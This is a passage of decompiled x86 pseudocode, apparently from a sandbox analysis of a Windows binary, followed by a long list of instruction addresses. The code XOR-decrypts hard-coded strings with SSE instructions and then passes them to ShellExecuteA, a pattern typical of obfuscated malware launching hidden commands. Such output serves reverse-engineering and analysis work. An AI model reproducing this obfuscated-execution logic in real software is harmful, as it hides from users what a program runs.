						_v1444 = _v1808;
						_t2735 = _v1444 + 1;
						__eflags = _t2735;
						_v2240 = _t2735;
						do {
							_v1341 =  *_v1444;
							_v1444 = _v1444 + 1;
							__eflags = _v1341;
						} while (_v1341 != 0);
						_v2244 = _v1444 - _v2240;
						_v2248 = _v2244;
						_v2252 = _v2248;
						_v2260 = E00987AE0(_t2176, _v2256, _t2906, _t2909, _v1808, _v2252);
						_v2264 = _v2260;
						E00971790( &_v5268, _v2264);
						_t2946 = _t2945 - 0x18;
						_v3856 = _t2946;
						E00988E70(_t2176, _t2906, _t2909, _t2946,  &_v5268,  &_v1248);
						_t2947 = _t2946 + 0xfffffff4;
						_v3860 = _t2946 + 0xfffffff4;
						E00986C20(_t2947,  &_v1128);
						_push( &_v1152);
						E0097BE20( &_v5268, __eflags);
						E00971AB0( &_v5268);
						E00971AB0( &_v5748);
						_v1342 = 0;
						_v1343 = 0;
						_v1344 = 0;
						_v2028 = _v1342;
						_v2032 = _v1343;
						_v2036 = _v1344;
						_v2908 = 0x195c0079;
						_v2904 = 0x8b69335f;
						_v3580 = _v2908;
						_v3576 = _v2904;
						_v2916 = 0x89f9ef3a;
						_v2912 = 0xc7f6786c;
						_v3572 = _v2916;
						_v3568 = _v2912;
						_v1812 =  &_v3580;
						_v860 = 0x7c286135;
						_v856 = 0x8b69332d;
						_v852 = 0x89f9ef3a;
						_v848 = 0xc7f6786c;
						_v1345 = 0;
						_v2040 = _v1345;
						asm("movaps xmm0, [ebp-0x350]");
						asm("movaps [ebp-0x1230], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x1220], xmm0");
						asm("movaps xmm0, [ebp-0x1220]");
						asm("pxor xmm0, [ebp-0x1230]");
						asm("movaps [ebp-0x1640], xmm0");
						asm("movaps xmm0, [ebp-0x1640]");
						_t2747 = _v1812;
						asm("movups [edx], xmm0");
						_v2268 = _v1812;
						_t1936 = E00986810( &_v1152, _v2268, 0);
						_t2909 = _t1936;
						_t2906 = 0;
						_t1937 =  *0x9d28d0; // 0x3a
						asm("cdq");
						asm("adc ecx, 0x0");
						_v2276 = _t1937 + 9;
						_t1939 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_v2280 = _t2747;
						_t1941 = E009C3280(_t1939 + 0x4579, _t2747, 0x4579, 0);
						_v2272 = _t2747;
						_t1943 =  *0x9d28d4; // 0xfc
						asm("cdq");
						asm("adc edx, 0x0");
						_t1946 = E009C3280(_t1941, _v2272, _t1943 + 9, _t2747);
						asm("adc eax, edx");
						asm("adc eax, 0x0");
						_t1948 = E00972730(_v2276 + _t1946 + 0x4579, _v2280);
						_v2924 = _t1936;
						_v2920 = 0;
						_v2932 = _t1948;
						_v2928 = _t2747;
						__eflags = _v2924 - _v2932;
						if(_v2924 != _v2932) {
							L50:
							_v1346 = 0;
							_v1347 = 0;
							_v1348 = 0;
							_v2044 = _v1346;
							_v1512 = _v1347;
							_v1516 = _v1348;
							_v2940 = 0xc5c155d;
							_v2936 = 0xa446095e;
							_v3612 = _v2940;
							_v3608 = _v2936;
							_v2948 = 0x89f9ef3a;
							_v2944 = 0xc7f6786c;
							_v3604 = _v2948;
							_v3600 = _v2944;
							_v1816 =  &_v3612;
							_v2132 = _v3864;
							_v620 = 0x7c286135;
							_v616 = 0x8b69332d;
							_v612 = 0x89f9ef3a;
							_v608 = 0xc7f6786c;
							_v1349 = 0;
							_v1692 = _v1349;
							asm("movaps xmm0, [ebp-0x260]");
							asm("movaps [ebp-0x1630], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x15a0], xmm0");
							asm("movaps xmm0, [ebp-0x15a0]");
							asm("pxor xmm0, [ebp-0x1630]");
							asm("movaps [ebp-0x1620], xmm0");
							asm("movaps xmm0, [ebp-0x1620]");
							asm("movups [edx], xmm0");
							_v2132 = _v1816;
							_v2136 = _v3868;
							_v1820 =  &_v1152;
							_v2128 = _v1820;
							_t2396 = _v1820;
							__eflags =  *((intOrPtr*)(_t2396 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t2396 + 0x14)) < 0x10) {
								_v2124 = 0;
							} else {
								_v2124 = 1;
							}
							_v1350 = _v2124;
							__eflags = _v1350 & 0x000000ff;
							if((_v1350 & 0x000000ff) != 0) {
								_v2284 =  *_v1820;
								_v2128 = _v2284;
							}
							_v2288 = _v2128;
							_v2136 = _v2288;
							__eflags = E009AD5D0(_v2136, _v2132);
							if(__eflags == 0) {
								_v2140 = 0;
							} else {
								_v2140 = 1;
							}
							_v1363 = _v2140;
							_v1351 = 0;
							_v1352 = 0;
							_v1353 = 0;
							_v1355 = 0;
							_v1356 = 0;
							_v1357 = 0;
							_v1524 = _v1351;
							_v1528 = _v1352;
							_v1532 = _v1353;
							_v2956 = 0x1950041b;
							_v2952 = 0x8b69332d;
							_v3628 = _v2956;
							_v3624 = _v2952;
							_v2964 = 0x89f9ef3a;
							_v2960 = 0xc7f6786c;
							_v3620 = _v2964;
							_v3616 = _v2960;
							_v1824 =  &_v3628;
							_v1836 = _v3872;
							_v876 = 0x7c286135;
							_v872 = 0x8b69332d;
							_v868 = 0x89f9ef3a;
							_v864 = 0xc7f6786c;
							_v1354 = 0;
							_v1536 = _v1354;
							asm("movaps xmm0, [ebp-0x360]");
							asm("movaps [ebp-0x15f0], xmm0");
							asm("movups xmm0, [eax]");
							asm("movaps [ebp-0x1610], xmm0");
							asm("movaps xmm0, [ebp-0x1610]");
							asm("pxor xmm0, [ebp-0x15f0]");
							asm("movaps [ebp-0x15e0], xmm0");
							asm("movaps xmm0, [ebp-0x15e0]");
							asm("movups [ecx], xmm0");
							_v1836 = _v1824;
							_v2320 = E00973F10(_t2176,  &_v5940, 0x18, _t2906, _t2909, __eflags);
							_v1540 = _v1355;
							_v1544 = _v1356;
							_v1548 = _v1357;
							_v2972 = 0x7c286169;
							_v2968 = 0x8b69332d;
							_v3388 = _v2972;
							_v3384 = _v2968;
							_v2980 = 0x89f9ef3a;
							_v2976 = 0xc7f6786c;
							_v3380 = _v2980;
							_v3376 = _v2976;
							_v1828 =  &_v3388;
							_v1832 = _v3876;
							_v892 = 0x7c286135;
							_v888 = 0x8b69332d;
							_v884 = 0x89f9ef3a;
							_v880 = 0xc7f6786c;
							_v1358 = 0;
							_v1552 = _v1358;
							asm("movaps xmm0, [ebp-0x370]");
							asm("movaps [ebp-0x1590], xmm0");
							asm("movups xmm0, [eax]");
							asm("movaps [ebp-0x15d0], xmm0");
							asm("movaps xmm0, [ebp-0x15d0]");
							asm("pxor xmm0, [ebp-0x1590]");
							asm("movaps [ebp-0x13e0], xmm0");
							asm("movaps xmm0, [ebp-0x13e0]");
							asm("movups [ecx], xmm0");
							_v1832 = _v1828;
							_v2308 = E00973CC0( &_v5772, _v1828, __eflags);
							_v1468 = _v1832;
							_t2416 = _v1468 + 1;
							__eflags = _t2416;
							_v2292 = _t2416;
							do {
								_v1359 =  *_v1468;
								_v1468 = _v1468 + 1;
								__eflags = _v1359;
							} while (_v1359 != 0);
							_v2296 = _v1468 - _v2292;
							_v2300 = _v2296;
							_v2304 = _v2300;
							_v2312 = E00987AE0(_t2176, _v2308, _t2906, _t2909, _v1832, _v2304);
							_v2316 = _v2312;
							E00971790( &_v5316, _v2316);
							_v2324 =  &_v5316;
							E0098B240(_t2176,  &_v5292, _t2906, _t2909, _v1553 & 0x000000ff, _v2324, _v2320);
							_v2344 =  &_v5292;
							_v1448 = _v1836;
							_t2781 = _v1448 + 1;
							__eflags = _t2781;
							_v2328 = _t2781;
							do {
								_v1360 =  *_v1448;
								_v1448 = _v1448 + 1;
								__eflags = _v1360;
							} while (_v1360 != 0);
							_v2332 = _v1448 - _v2328;
							_v2336 = _v2332;
							_v2340 = _v2336;
							_v2348 = E00987AE0(_t2176, _v2344, _t2906, _t2909, _v1836, _v2340);
							_v2352 = _v2348;
							_t2785 = _v2352;
							E00971790( &_v1200, _t2785);
							E00971AB0( &_v5292);
							E00971AB0( &_v5316);
							E00971AB0( &_v5772);
							E00971AB0( &_v5940);
							_push(_v1840);
							E009A6B70();
							_t1996 =  *0x9d28d0; // 0x3a
							asm("cdq");
							_t2906 = _t2785;
							asm("adc edi, 0x0");
							_t1997 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t1999 = E009C3280(_t1997 + 0x4579, _t2785, 0x4579, 0);
							asm("adc eax, 0x0");
							_v2356 = _t2785;
							_t2001 =  *0x9d28d4; // 0xfc
							asm("cdq");
							asm("adc edx, 0x0");
							_t2004 = E009C3280(_t1999 + 0x64, _v2356, _t2001 + 9, _t2785);
							asm("adc edi, edx");
							_t2909 = _t1996 + 9 + _t2004 + 0x4579;
							asm("adc edi, 0x0");
							_v2376 = E00972730(_t1996 + 9 + _t2004 + 0x4579, _t2785);
							_v2160 = _v3880;
							_v1844 =  &_v1200;
							_v2148 = _v1844;
							_t2787 = _v1844;
							__eflags =  *((intOrPtr*)(_t2787 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t2787 + 0x14)) < 0x10) {
								_v2144 = 0;
							} else {
								_v2144 = 1;
							}
							_v1361 = _v2144;
							__eflags = _v1361 & 0x000000ff;
							if((_v1361 & 0x000000ff) != 0) {
								_v2360 =  *_v1844;
								_v2148 = _v2360;
							}
							_v2364 = _v2148;
							_v2160 = _v2364;
							_v2164 = _v3884;
							_v1848 =  &_v1152;
							_v2156 = _v1848;
							_t2440 = _v1848;
							__eflags =  *((intOrPtr*)(_t2440 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t2440 + 0x14)) < 0x10) {
								_v2152 = 0;
							} else {
								_v2152 = 1;
							}
							_v1362 = _v2152;
							__eflags = _v1362 & 0x000000ff;
							if(__eflags != 0) {
								_v2368 =  *_v1848;
								_v2156 = _v2368;
							}
							_v2372 = _v2156;
							_v2164 = _v2372;
							_push(_v2376);
							_push(0);
							_push(_v1363 & 0x000000ff);
							_push(_v2160);
							_push(_v2164);
							_t2013 = E009A61E0(__eflags);
							__eflags = _t2013 & 0x000000ff;
							if((_t2013 & 0x000000ff) != 0) {
								_v1365 = 0;
								_v1366 = 0;
								_v1367 = 0;
								_v2176 = _v3888;
								_v1852 =  &_v1200;
								_v2172 = _v1852;
								_t2795 = _v1852;
								__eflags =  *((intOrPtr*)(_t2795 + 0x14)) - 0x10;
								if( *((intOrPtr*)(_t2795 + 0x14)) < 0x10) {
									_v2168 = 0;
								} else {
									_v2168 = 1;
								}
								_v1364 = _v2168;
								__eflags = _v1364 & 0x000000ff;
								if((_v1364 & 0x000000ff) != 0) {
									_v2380 =  *_v1852;
									_v2172 = _v2380;
								}
								_v2384 = _v2172;
								_v2176 = _v2384;
								_v1560 = _v1365;
								_v1564 = _v1366;
								_v1568 = _v1367;
								_v2988 = 0x124d115a;
								_v2984 = 0x8b69332d;
								_v3436 = _v2988;
								_v3432 = _v2984;
								_v2996 = 0x89f9ef3a;
								_v2992 = 0xc7f6786c;
								_v3428 = _v2996;
								_v3424 = _v2992;
								_v1856 =  &_v3436;
								_v2180 = _v3892;
								_v908 = 0x7c286135;
								_v904 = 0x8b69332d;
								_v900 = 0x89f9ef3a;
								_v896 = 0xc7f6786c;
								__eflags = 0;
								_v1368 = 0;
								_v1572 = _v1368;
								asm("movaps xmm0, [ebp-0x380]");
								asm("movaps [ebp-0x1400], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x13f0], xmm0");
								asm("movaps xmm0, [ebp-0x13f0]");
								asm("pxor xmm0, [ebp-0x1400]");
								asm("movaps [ebp-0x1410], xmm0");
								asm("movaps xmm0, [ebp-0x1410]");
								asm("movups [edx], xmm0");
								_v2180 = _v1856;
								ShellExecuteA(0, _v2180, _v2176, 0, 0, 1);
							}
							E00971AB0( &_v1200);
							L80:
							E00971AB0( &_v1152);
							E00971AB0( &_v1248);
							E00971AB0( &_v1272);
							goto L81;
						}
						__eflags = _v2920 - _v2928;
						if(_v2920 == _v2928) {
							goto L80;
						}
						goto L50;
					}
					if(__eflags < 0) {
						L15:
						_v1426 = 0;
						_v1427 = 0;
						_v1428 = 0;
						_v1928 = _v1426;
						_v1932 = _v1427;
						_v1936 = _v1428;
						_v2780 = 0xc5c155d;
						_v2776 = 0xa446095e;
						_v3836 = _v2780;
						_v3832 = _v2776;
						_v2788 = 0xfa89864c;
						_v2784 = 0xb4821e03;
						_v3828 = _v2788;
						_v3824 = _v2784;
						_v2796 = 0xec9a6819;
						_v2792 = 0x44a236c0;
						_v3820 = _v2796;
						_v3816 = _v2792;
						_v2804 = 0xb8c52ae9;
						_v2800 = 0x602be143;
						_v3812 = _v2804;
						_v3808 = _v2800;
						_v2812 = 0x3f28f71b;
						_v2808 = 0x6a546fa1;
						_v3804 = _v2812;
						_v3800 = _v2808;
						_v2820 = 0x750aa80e;
						_v2816 = 0x7e44d310;
						_v3796 = _v2820;
						_v3792 = _v2816;
						_v1484 =  &_v3836;
						_v1052 = 0x7c286135;
						_v1048 = 0x8b69332d;
						_v1044 = 0x89f9ef3a;
						_v1040 = 0xc7f6786c;
						_v1036 = 0x96e31037;
						_v1032 = 0x28cb50ef;
						_v1028 = 0xd5ea598c;
						_v1024 = 0x4e4a8626;
						_v1020 = 0x3f589a79;
						_v1016 = 0x6a546fa1;
						_v1012 = 0x750aa80e;
						_v1008 = 0x7e44d310;
						_v1429 = 0;
						_v1940 = _v1429;
						asm("movaps xmm0, [ebp-0x410]");
						asm("movaps [ebp-0x10b0], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x10a0], xmm0");
						asm("movaps xmm0, [ebp-0x10a0]");
						asm("pxor xmm0, [ebp-0x10b0]");
						asm("movaps [ebp-0x10c0], xmm0");
						asm("movaps xmm0, [ebp-0x10c0]");
						asm("movups [eax], xmm0");
						_v2068 = _v1484 + 0x10;
						asm("movaps xmm0, [ebp-0x400]");
						asm("movaps [ebp-0x10e0], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x10d0], xmm0");
						asm("movaps xmm0, [ebp-0x10d0]");
						asm("pxor xmm0, [ebp-0x10e0]");
						asm("movaps [ebp-0x10f0], xmm0");
						asm("movaps xmm0, [ebp-0x10f0]");
						asm("movups [eax], xmm0");
						_v2072 = _v1484 + 0x20;
						asm("movaps xmm0, [ebp-0x3f0]");
						asm("movaps [ebp-0x1110], xmm0");
						asm("movups xmm0, [edx]");
						asm("movaps [ebp-0x1100], xmm0");
						asm("movaps xmm0, [ebp-0x1100]");
						asm("pxor xmm0, [ebp-0x1110]");
						asm("movaps [ebp-0x1120], xmm0");
						asm("movaps xmm0, [ebp-0x1120]");
						asm("movups [eax], xmm0");
						_v2076 = _v1484;
						_v1488 = _v2076;
						_t2147 = _v1488 + 1;
						__eflags = _t2147;
						_v3240 = _t2147;
						do {
							_v1430 =  *_v1488;
							_v1488 = _v1488 + 1;
							__eflags = _v1430;
						} while (_v1430 != 0);
						_t2149 = _v1488 - _v3240;
						__eflags = _t2149;
						_v3244 = _t2149;
						_v3248 = _v3244;
						_v3252 = _v3248;
						E00971C50(_t2176,  &_v1104, 0, _t2914, _v2076, _v3252);
						goto L18;
					}
					__eflags = _v2764 - _v2772;
					if(_v2764 > _v2772) {
						goto L18;
					}
					goto L15;
				}
			}

0x00982861
0x00982869
0x00982870
0x00982874
0x0098287b
0x00982880
0x00982887
0x0098288a
0x0098288b
0x00982897
0x0098289c
0x009828a1
0x009828a9
0x009828b1
0x009828bd
0x009828c9
0x009828d5
0x009828e0
0x009828ea
0x009828fc
0x00982902
0x0098290d
0x00982917
0x00982929
0x0098292f
0x0098293b
0x00982946
0x00982950
0x0098295b
0x00982965
0x0098296d
0x00982979
0x0098297f
0x00982986
0x00982993
0x00982996
0x0098299d
0x009829a4
0x009829ac
0x009829b3
0x009829c0
0x009829c9
0x009829d6
0x009829dc
0x009829e4
0x009829ec
0x009829f4
0x00982a00
0x00982a0c
0x00982a18
0x00982a23
0x00982a2d
0x00982a3f
0x00982a45
0x00982a50
0x00982a5a
0x00982a6c
0x00982a72
0x00982a7e
0x00982a89
0x00982a93
0x00982a9e
0x00982aa8
0x00982ab0
0x00982abc
0x00982ac2
0x00982ac9
0x00982ad6
0x00982ad9
0x00982ae0
0x00982ae7
0x00982aef
0x00982af6
0x00982b03
0x00982b0c
0x00982b12
0x00982b19
0x00982b21
0x009862d8
0x009862da
0x009862db
0x009862df
0x009862ec
0x009862ec
0x00982b27
0x00982b2e
0x00000000
0x00000000
0x00000000
0x00000000
0x00982b34
0x00982b34
0x00982b34
0x00982b3c
0x00982b3e
0x00000000
0x00000000
0x00982b46
0x00982b50
0x00982b68
0x00982b6e
0x00982b76
0x00982b80
0x00982b86
0x00982b8c
0x00982b92
0x00982ba5
0x00982bab
0x00982bb3
0x00982bbd
0x00982bdb
0x00982be0
0x00982be3
0x00982be9
0x00982c07
0x00982c09
0x00982c0f
0x00982c15
0x00982c27
0x00982c36
0x00982c3c
0x00982c42
0x00982c4e
0x00982c55
0x00982c55
0x00982c66
0x00982c67
0x00982c71
0x00982c79
0x00982c81
0x00982c8d
0x00982c99
0x00982ca5
0x00982cb0
0x00982cba
0x00982ccc
0x00982cd2
0x00982cdd
0x00982ce7
0x00982cf9
0x00982cff
0x00982d0b
0x00982d16
0x00982d20
0x00982d2b
0x00982d35
0x00982d3d
0x00982d49
0x00982d4f
0x00982d56
0x00982d63
0x00982d66
0x00982d6d
0x00982d74
0x00982d7c
0x00982d83
0x00982d90
0x00982d99
0x00982d9f
0x00982da4
0x00982db7
0x00982dbc
0x00982dc1
0x00982dce
0x00982dd9
0x00982dda
0x00982df0
0x00982e06
0x00982e1a
0x00982e22
0x00982e3a
0x00982e40
0x00982e48
0x00982e49
0x00982e53
0x00982e5b
0x00982e63
0x00982e6f
0x00982e7b
0x00982e87
0x00982e92
0x00982e9c
0x00982eae
0x00982eb4
0x00982ebf
0x00982ec9
0x00982edb
0x00982ee1
0x00982eed
0x00982ef8
0x00982f02
0x00982f0d
0x00982f17
0x00982f1f
0x00982f2b
0x00982f31
0x00982f38
0x00982f45
0x00982f48
0x00982f4f
0x00982f56
0x00982f5e
0x00982f65
0x00982f72
0x00982f7b
0x00982f81
0x00982f86
0x00982f9b
0x00982fa3
0x00982fa8
0x00982fae
0x00982fb0
0x00982fb8
0x00982fc0
0x00982fc8
0x00982fd4
0x00982fe0
0x00982fec
0x00982ff7
0x00983001
0x00983013
0x00983019
0x00983024
0x0098302e
0x00983040
0x00983046
0x00983052
0x0098305d
0x00983067
0x00983072
0x0098307c
0x00983084
0x00983090
0x00983096
0x0098309d
0x009830aa
0x009830ad
0x009830b4
0x009830bb
0x009830c3
0x009830ca
0x009830d7
0x009830e0
0x009830fb
0x00983100
0x00983103
0x0098310f
0x0098311b
0x00983121
0x00983127
0x0098312b
0x00983139
0x0098312d
0x0098312d
0x0098312d
0x00983149
0x00983156
0x00983158
0x00983162
0x0098316e
0x0098316e
0x0098317a
0x00983186
0x00983193
0x0098319f
0x0098319f
0x009831b0
0x009831b5
0x009831bb
0x009831bd
0x00983fc3
0x00983fc8
0x00983fcb
0x00983fd7
0x00983fe3
0x00983fe5
0x00983fe7
0x00983fec
0x00983ff9
0x00983ffe
0x00984003
0x00984003
0x00000000
0x009831c3
0x009831c5
0x009831cd
0x009831d5
0x009831e1
0x009831ed
0x009831f9
0x00983204
0x0098320e
0x00983220
0x00983226
0x00983231
0x0098323b
0x0098324d
0x00983253
0x0098325f
0x0098326a
0x00983274
0x0098327f
0x00983289
0x00983291
0x0098329d
0x009832a3
0x009832aa
0x009832b7
0x009832ba
0x009832c1
0x009832c8
0x009832d0
0x009832d7
0x009832e4
0x009832ed
0x009832f3
0x009832f8
0x00983305
0x0098330a
0x0098330f
0x0098331c
0x00983327
0x00983328
0x00983330
0x00983336
0x0098333c
0x00983344
0x0098334e
0x00983368
0x00983376
0x0098337d
0x00983384
0x0098338a
0x0098339b
0x009833ae
0x009833b8
0x009833bd
0x009833c0
0x009833c6
0x009833cc
0x009833d2
0x009833de
0x009833e4
0x00983758
0x0098375a
0x00983762
0x0098376a
0x00983776
0x00983782
0x0098378e
0x00983799
0x009837a3
0x009837b5
0x009837bb
0x009837c6
0x009837d0
0x009837e2
0x009837e8
0x009837f4
0x00983800
0x0098380b
0x00983815
0x00983820
0x0098382a
0x00983832
0x0098383e
0x00983844
0x0098384b
0x00983858
0x0098385b
0x00983862
0x00983869
0x00983871
0x00983878
0x00983885
0x0098388e
0x0098389a
0x009838a6
0x009838b2
0x009838b8
0x009838be
0x009838c2
0x009838d0
0x009838c4
0x009838c4
0x009838c4
0x009838e0
0x009838ed
0x009838ef
0x009838f9
0x00983905
0x00983905
0x00983911
0x0098391d
0x00983931
0x00983936
0x00983939
0x0098393b
0x00983949
0x0098393d
0x0098393d
0x0098393d
0x00983959
0x00983961
0x00983969
0x00983971
0x00983979
0x00983981
0x00983989
0x00983995
0x009839a1
0x009839ad
0x009839b8
0x009839c2
0x009839d4
0x009839da
0x009839e5
0x009839ef
0x00983a01
0x00983a07
0x00983a13
0x00983a1f
0x00983a2a
0x00983a34
0x00983a3f
0x00983a49
0x00983a51
0x00983a5d
0x00983a63
0x00983a6a
0x00983a77
0x00983a7a
0x00983a81
0x00983a88
0x00983a90
0x00983a97
0x00983aa4
0x00983aad
0x00983ac3
0x00983acf
0x00983adb
0x00983ae7
0x00983af2
0x00983afc
0x00983b0e
0x00983b14
0x00983b1f
0x00983b29
0x00983b3b
0x00983b41
0x00983b4d
0x00983b59
0x00983b64
0x00983b6e
0x00983b79
0x00983b83
0x00983b8b
0x00983b97
0x00983b9d
0x00983ba4
0x00983bb1
0x00983bb4
0x00983bbb
0x00983bc2
0x00983bca
0x00983bd1
0x00983bde
0x00983be7
0x00983bf3
0x00983bf8
0x00983c04
0x00983c10
0x00983c10
0x00983c13
0x00983c19
0x00983c21
0x00983c27
0x00983c2e
0x00983c2e
0x00983c43
0x00983c4f
0x00983c5b
0x00983c7a
0x00983c86
0x00983c99
0x00983ca4
0x00983cc6
0x00983cd1
0x00983cdd
0x00983ce9
0x00983ce9
0x00983cec
0x00983cf2
0x00983cfa
0x00983d00
0x00983d07
0x00983d07
0x00983d1c
0x00983d28
0x00983d34
0x00983d53
0x00983d59
0x00983d5f
0x00983d72
0x00983d7d
0x00983d88
0x00983d93
0x00983d9e
0x00983da9
0x00983daa
0x00983db2
0x00983db7
0x00983dba
0x00983dbf
0x00983dc2
0x00983dc7
0x00983dcd
0x00983dd9
0x00983de5
0x00983de8
0x00983dee
0x00983df3
0x00983df7
0x00983e04
0x00983e0b
0x00983e0d
0x00983e13
0x00983e18
0x00983e1d
0x00983e20
0x00983e2c
0x00983e38
0x00983e44
0x00983e4a
0x00983e50
0x00983e54
0x00983e62
0x00983e56
0x00983e56
0x00983e56
0x00983e72
0x00983e7f
0x00983e81
0x00983e8b
0x00983e97
0x00983e97
0x00983ea3
0x00983eaf
0x00983ebb
0x00983ec7
0x00983ed3
0x00983ed9
0x00983edf
0x00983ee3
0x00983ef1
0x00983ee5
0x00983ee5
0x00983ee5
0x00983f01
0x00983f0e
0x00983f10
0x00983f1a
0x00983f26
0x00983f26
0x00983f32
0x00983f3e
0x00983f4a
0x00983f4b
0x00983f54
0x00983f5b
0x00983f62
0x00983f63
0x00983f68
0x00983f6e
0x00983f70
0x00983f72
0x00983f77
0x00983f84
0x00983f89
0x00983f8e
0x00983f8e
0x00983f97
0x00983fa2
0x00984006
0x0098400c
0x00984012
0x00984019
0x0098500d
0x0098500f
0x00985017
0x0098501f
0x00985027
0x0098502f
0x00985037
0x0098503f
0x00985047
0x0098504f
0x0098505b
0x00985067
0x00985073
0x0098507e
0x00985088
0x0098509a
0x009850a0
0x009850ab
0x009850b5
0x009850c7
0x009850cd
0x009850d8
0x009850e2
0x009850f4
0x009850fa
0x00985105
0x0098510f
0x00985121
0x00985127
0x00985132
0x0098513c
0x0098514e
0x00985154
0x0098515f
0x00985169
0x0098517b
0x00985181
0x0098518d
0x00985199
0x009851a4
0x009851ae
0x009851b9
0x009851c3
0x009851ce
0x009851d8
0x009851e3
0x009851ed
0x009851f8
0x00985202
0x0098520d
0x00985217
0x0098521f
0x0098522b
0x00985231
0x00985238
0x00985245
0x00985248
0x0098524f
0x00985256
0x0098525e
0x00985265
0x00985272
0x0098527e
0x00985284
0x0098528b
0x00985298
0x0098529b
0x009852a2
0x009852a9
0x009852b1
0x009852b8
0x009852c5
0x009852d1
0x009852d7
0x009852de
0x009852eb
0x009852ee
0x009852f5
0x009852fc
0x00985304
0x0098530b
0x00985318
0x00985321
0x0098532d
0x00985339
0x00985345
0x00985350
0x0098535a
0x0098536c
0x00985372
0x0098537d
0x00985387
0x00985399
0x0098539f
0x009853ab
0x009853b7
0x009853c2
0x009853cc
0x009853d7
0x009853e1
0x009853e9
0x009853f5
0x009853fb
0x00985402
0x0098540f
0x00985412
0x00985419
0x00985420
0x00985428
0x0098542f
0x0098543c
0x00985445
0x0098545d
0x00985469
0x00985475
0x00985481
0x0098548c
0x00985496
0x009854a8
0x009854ae
0x009854b9
0x009854c3
0x009854d5
0x009854db
0x009854e6
0x009854f0
0x00985502
0x00985508
0x00985513
0x0098551d
0x0098552f
0x00985535
0x00985541
0x0098554d
0x00985558
0x00985562
0x0098556d
0x00985577
0x00985582
0x0098558c
0x00985597
0x009855a1
0x009855a9
0x009855b5
0x009855bb
0x009855c2
0x009855cf
0x009855d2
0x009855d9
0x009855e0
0x009855e8
0x009855ef
0x009855fc
0x00985608
0x0098560e
0x00985615
0x00985622
0x00985625
0x0098562c
0x00985633
0x0098563b
0x00985642
0x0098564f
0x00985658
0x00985664
0x00985670
0x00985670
0x00985673
0x00985679
0x00985681
0x00985687
0x0098568e
0x0098568e
0x009856a3
0x009856af
0x009856bb
0x009856dc
0x009856e8
0x009856fb
0x00985706
0x00985712
0x0098571e
0x0098571e
0x00985721
0x00985727
0x0098572f
0x00985735
0x0098573c
0x0098573c
0x00985751
0x0098575d
0x00985769
0x00985788
0x00985794
0x009857a7
0x009857be
0x009857ca
0x009857dd
0x009857e8
0x009857f4
0x00985800
0x00985800
0x00985803
0x00985809
0x00985811
0x00985817
0x0098581e
0x0098581e
0x00985833
0x0098583f
0x0098584b
0x0098586a
0x00985876
0x00985889
0x00985894
0x0098589f
0x009858aa
0x009858b5
0x009858c0
0x009858cc
0x009858d2
0x009858d8
0x009858dc
0x009858ea
0x009858de
0x009858de
0x009858de
0x009858fa
0x00985907
0x00985909
0x00985913
0x0098591f
0x0098591f
0x0098592b
0x00985937
0x00985946
0x0098594c
0x00985953
0x00985955
0x009862a7
0x00000000
0x0098595b
0x0098595d
0x00985965
0x0098596d
0x00985975
0x0098597d
0x00985985
0x0098598d
0x00985995
0x0098599d
0x009859a9
0x009859b5
0x009859c1
0x009859cc
0x009859d6
0x009859e8
0x009859ee
0x009859f9
0x00985a03
0x00985a15
0x00985a1b
0x00985a26
0x00985a30
0x00985a42
0x00985a48
0x00985a53
0x00985a5d
0x00985a6f
0x00985a75
0x00985a80
0x00985a8a
0x00985a9c
0x00985aa2
0x00985aad
0x00985ab7
0x00985ac9
0x00985acf
0x00985adb
0x00985ae7
0x00985af2
0x00985afc
0x00985b07
0x00985b11
0x00985b1c
0x00985b26
0x00985b31
0x00985b3b
0x00985b46
0x00985b50
0x00985b5b
0x00985b65
0x00985b6d
0x00985b79
0x00985b7f
0x00985b86
0x00985b93
0x00985b96
0x00985b9d
0x00985ba4
0x00985bac
0x00985bb3
0x00985bc0
0x00985bcc
0x00985bd2
0x00985bd9
0x00985be6
0x00985be9
0x00985bf0
0x00985bf7
0x00985bff
0x00985c06
0x00985c13
0x00985c1f
0x00985c25
0x00985c2c
0x00985c39
0x00985c3c
0x00985c43
0x00985c4a
0x00985c52
0x00985c59
0x00985c66
0x00985c6f
0x00985c7b
0x00985c87
0x00985c93
0x00985c9e
0x00985ca8
0x00985cba
0x00985cc0
0x00985ccb
0x00985cd5
0x00985ce7
0x00985ced
0x00985cf9
0x00985d05
0x00985d10
0x00985d1a
0x00985d25
0x00985d2f
0x00985d37
0x00985d43
0x00985d49
0x00985d50
0x00985d5d
0x00985d60
0x00985d67
0x00985d6e
0x00985d76
0x00985d7d
0x00985d8a
0x00985d93
0x00985dab
0x00985db7
0x00985dc3
0x00985dcf
0x00985dda
0x00985de4
0x00985df6
0x00985dfc
0x00985e07
0x00985e11
0x00985e23
0x00985e29
0x00985e34
0x00985e3e
0x00985e50
0x00985e56
0x00985e61
0x00985e6b
0x00985e7d
0x00985e83
0x00985e8f
0x00985e9b
0x00985ea6
0x00985eb0
0x00985ebb
0x00985ec5
0x00985ed0
0x00985eda
0x00985ee5
0x00985eef
0x00985ef7
0x00985f03
0x00985f09
0x00985f10
0x00985f1d
0x00985f20
0x00985f27
0x00985f2e
0x00985f36
0x00985f3d
0x00985f4a
0x00985f56
0x00985f5c
0x00985f63
0x00985f70
0x00985f73
0x00985f7a
0x00985f81
0x00985f89
0x00985f90
0x00985f9d
0x00985fa6
0x00985fb2
0x00985fbe
0x00985fbe
0x00985fc1
0x00985fc7
0x00985fcf
0x00985fd5
0x00985fdc
0x00985fdc
0x00985ff1
0x00985ffd
0x00986009
0x0098602a
0x00986036
0x00986049
0x00986054
0x00986060
0x0098606c
0x0098606c
0x0098606f
0x00986075
0x0098607d
0x00986083
0x0098608a
0x0098608a
0x0098609f
0x009860ab
0x009860b7
0x009860d6
0x009860e2
0x009860f5
0x0098610c
0x00986118
0x0098612b
0x00986136
0x00986142
0x0098614e
0x0098614e
0x00986151
0x00986157
0x0098615f
0x00986165
0x0098616c
0x0098616c
0x00986181
0x0098618d
0x00986199
